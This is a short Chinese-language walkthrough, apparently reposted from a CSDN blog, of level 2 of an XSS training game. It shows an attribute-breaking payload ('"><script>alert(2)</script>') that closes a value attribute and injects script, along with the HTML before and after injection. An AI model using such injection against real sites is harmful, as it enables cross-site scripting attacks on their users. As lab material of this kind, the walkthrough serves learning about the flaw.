XSS-Game Level 2

第二关将结果拼接到了value属性中 , 我们插入JS脚本时手动闭合双引号即可

先看源码 , 获取了参数后 , 直接拼接到value属性中

 虽然使用 htmlspecialchars() 转义了HTML标签 , 但并没有重新赋值给 $str , 所以不会此关卡造成影响

payload 

"><script>alert(2)</script>
 

双引号用来闭合 value值左边的双引号 , >用来闭合 input 标签的右尖括号

  

   

    

     

    
    

     

      <input name=keyword value="'.$str.'">    //拼接前
     
    
   

    

     

    
    

     

      <input name=keyword value=""> <script>alert(2)</script> ">    //拼接后
     
    
  
 

过关

文章来源: blog.csdn.net，作者：士别三日wyx，版权归原作者所有，如需转载，请联系作者。

原文链接：blog.csdn.net/wangyuxiang946/article/details/118559535